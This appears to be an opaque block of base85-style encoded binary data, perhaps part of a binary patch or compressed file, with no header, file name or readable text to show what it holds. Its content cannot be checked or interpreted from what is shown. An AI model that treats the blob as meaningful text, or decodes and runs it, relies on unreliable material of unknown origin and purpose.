zUw3bYLOm@X)HT&P*E!6Uj(p}GBtdXWI2)S=Dw&euqo0TgNveFwG=e`Yi*(bs)+vou z&z8hLRU@BzA36R(>N|@t&yf9O@*_EgD9^WP^{P^JBG1IeGw9NXn*KE|rxa&8kiyk< z{gf#jNVmxqzTJeSgjEs2b6+dQpf9bq(cMAM8iO^m`VIZxeidQx_Jn}|0Nn zs0UUe8-2DrvZ}3uTAu;)f3#fMZp%%DNQuDLdn@Wp^GGs1XzU{{uj`%~@)$biQD@%% zxQErMZL6!O%a9TKWnEVG{2Z1)^e3~1{367D-1^tP?epTP&BrnC-$&U0-gO-vV*dPj zR&VEGcs!{nnat`Nyfq zi5%!t|7o`jarHO(*X~WT?d>faclMm^99#NhF`m(k)VPfi9^22wgTq|K+{L!cIyPb; z+~dcTnpr=P?#mQr{+}i+Mcj{=FZh_tGydHOgo-@lU(MjAQvK8G#vsNgE8Fk!?~m%L z>{;t8#e9@$3F=R%0JnmK;Aro`+s}`I+ahUwiRQQ0%cUAwg}^ESZV5?2pU+C24Sfw) zm6y`T3851&j8g4@i>dx2gHviT8be-MAJoP^^cw+zefAjyj2l2fK}r5+JiKa9A;k35 z#2Cwea=4%N?V%!-g{GAk68tk6k63DRo4?uTEPbmB`y*|mLrm{-ICTO@e4L$Gq4pX^ z5u)#K7dyP{_xsh%`SW@EShXBGUDnw-U9rKOMAs`8jv4k3yU_hjs2uY^;gD~=T+0)M zPN>@?&A>p$?(46rWC|}|Zl5HA1KxImF&(ObWi=LK;|KXFn@|kP5XHaG%S>s*)_=Xy z`X4_Uw>|>x=kM?48*4t!f30DCq4ESr(XO`>=JF_?E{^tttjF&_VtDQkfnsC?Ba-Rc zJSa`@%lWp3<%uIw%7h3p7&YZOK85bFWEyu;T8)*+euyA75{16#Zmg9B-E_3Qfa5zp+B+ zi*zwvr~l_z<69mwcK4%Vvp}!rMo-u^UFisu-Ul*uB-yhYFJ~)B|F1jY9WENg2-n=E z8O*13<-vX(iz~TV8npP1r5Hl$1kwy4X#h{LX*Y5R@+5a(#m9p3o$D3Av-JNU^6!z) z*OM=^ikF^u?Q=azH?Z|*`%tTV4=LrOz?CbRCL1Z#r!w&VIAX=A1RQnCVl<3mT^N}ncXgxla(x1EeZn}&^1|#{ z?$U|INsiP6HSEdYd8G!p^Nwu0FOpweIK_YP-NEUn!&d%ADt^5hr4t`cz8;zqsX|Pg zeUNQqjp#9Bk=I)kbLvPrYw2Fm^-E)=X?)5$aRX{_vf%@^6!N}Vpg zRJjlgcOsMsk^SmOmp6#7M2oA7VaU<1O^v(9SPvpNkuc_2;Kew0poB8*e4&XlwGT8s z^xsuFtyV=HYj^wWnJbJPs2<^WS;J?>vP~liW3F1*)6pIUR7=@)V_D#71@?MA?<}QO z4&}>(JJZwj9a}QHD8sB*Y_O;Fkf4x1Jp4a)v!~RO>|O9cAP6Kr`?-{lc#vpu5A}bU zJy;KXFBKYvkxPQ`@RiZ-oxDNG&fJ72T0BIB>!qWV52YjQ!6{R(u*3+d#GVigt|xo{AA^>i4ZjtVLd zqWo#VS)=*yS*s*!p%me$>(^8f)Kpuggzsan0Q?ZAM4%THCs&6A4XWQMpyOg%FkT&L^`A-wIR-x!S zcA$BsUVIr&{+jDY<(WnvOu0AZ~TKyHjd~o9teosJU`$Cb=BUx5oiGGI_fP8cTAnhy%26OUHAZ zsoFoOPb(uoF|y;RWU@BEsjs0qbf~*e_lyJ-_%L}1T|WpP^c!Rz#7Ib3P^&3w@f~Qe zN0OqrWmbKVLsksc7i+1Vpa9Ry-ERdUy+iubhH&M)Ygaj#WI$I700SoDowtnswLc}L@}NAJ!y zy1pY}skb!N1_)fzc0^Q5a98=Axn4fw1i7&6q`4RPrnmOdj;|OSEc-|rst%UY?Y`C1 z4Ej*3b?5kMDRelcN2Elm1f=T>(S#E}(e=}4@^}v`64^UZKC*cSP`+jQV)6VasaW-k z?1ZnYGkdaP&h|jX-9QCofHyY*8tx<$kLLNXp^o8$vkU?r#SZeey5B9OZJqn)Qd(0ODoZc@!4 zbK~8rlq1r8;Xl9Xa&`;Znr`u)Acr*)ZGXsiwm5fBJ6)|Bs)098Y#q4J-^XbJXM07;8IAwRF6g$ zfq;UVdlcM3FNbV+*_GGSZH^&gW6)U4i1w}Y>_}3cia*2A5uH|G>cS(rjz3vrZcGDQ5; zZu@;gS>W6YsQ7G|Hr4?TNvr5m9HGUj5Wnr7A{>v|ZuD~Q(Kyv8z5EZMRf-wi%~v|& zEiOy6AWIdCxil)C;=ma-<_Z6}xi6>*CVv6F|I>~jRVp8IkcqrCnJQH(Vnresp;3laFT>1@0+VKGD{|g^&?-hKI0Od0 zpL&X;-~)zwO$|#BNtJrsY&ePAY^RgE=>CUa18%d-Lx-d5q`YPx0+P5!oc_4sJ$G1U zj;4O|DWP}cTNl*yi|b1)OA*Fb#TLVS9#NO@0t~#7Sayl7z3=)ph?Jk}ROXzgu8U5X zh_UZl8>4+LSA&syZ;RnQXISQq20jE6>c53&d^UtyCP*a18Gk^C9p{vWQLrCysDr&K zJb^}$%u&l-BzWmoVIG1)2D^fAxGm_wp6d<&pT9-@snCWsV-^3B_m{1D+S+%=L42l3 z%~ij=u!@8VE}kha?|pLOwOfCj=evF0w#)yAI4<;SKKlF`BOC1elhx!bIenyuJ!b?n zK|Qu%D1R&qda9hKwQvN%ajs=5(I>v|6tnY9xxJZlgUh0=dq&~x-k z6xpIFD*e`$QFRoC>;eG&d;DS5;m%*_`Ka~3dcU{`M)f}Fzi-KA z8DzOtXKzR$@F0zFJXA1(zJIY#5?{K|Shddj+?^@=8^V&<@TCA9!-JR*+g^kvzg2jh zMjcz7wIS~xPU6$x2Y7Spe=y*6quv~b9MaTydx+WRkx$w|RJgE{yZ|BIMtagr(@f|? zv@gQu{PikCWkAQWt?pA@T-|!z;|wj<;|TB2@V-L4^(C%3{dsQ_kFN(fxn>LrzQ`3FmT)3Z>f#P2*O)y|HDVsOp1s9NdNwYCes)O-(C_! zfT1)VIeXdz6ABYj6G{{ERiafgygB!cEux-za&l%Ia?U&o6Ez)ejA$-*%x5eAx8`P* zo(>I{0k^JXoGOo7{2fxyU(zUBU9%8S2&|{&CA*3<#S|S8g+}=$aZH% z7|=W1qRN18aq~L{bD0CS@?T^;TVqKe0959A0j%}|Goqg}si-UMjNGEU#K^*Va6knW zph9N)?eJ+&YB|^6NGb*XQ8217H2No9=H0-MMtwl5++|g1wL91lN?GTEH&dkr$RwH5 z9*zg^^`{MxS+ZCKSeDd%6LU8U85%%Xu~?$57%j0;FK8J^)x!4r^amvSeFozDgnB!Z z-R{EvNAPW{7^_N47RvxjJF9O-FQ_H|k1!8biR2!3+`CX4mcZAIiLmWU8_@5Q>~HRm zw&Hr3b{~RgJOv)}gYk&!km^w9F#0~K{z(sMEle>-?>Lp_XaSodmgKeiFtkEpEVhjeE})>tmddNVDV zt(jJ_&(5SC(4Ex~Z4hPut%b6jFEva_CI(hLv2mow0^c(1Gd8{2$2_YncUrQ#a~qlr z8OUvY5+B3D=P|GlG1A4_s{sN%6qYj0{kP>zTkAku`z>(6U9gOfyuEOv zWoWi2vGI4{)1_HIPpHJbFZJIFTbdqS+r)(}_Wnf1vBif;$UALo zcm*MRr5`WW-BtIMRxvw*l_z?Q4TnsmFWW^E9P88c>-7bKn24Y2O-`Ia4R%B#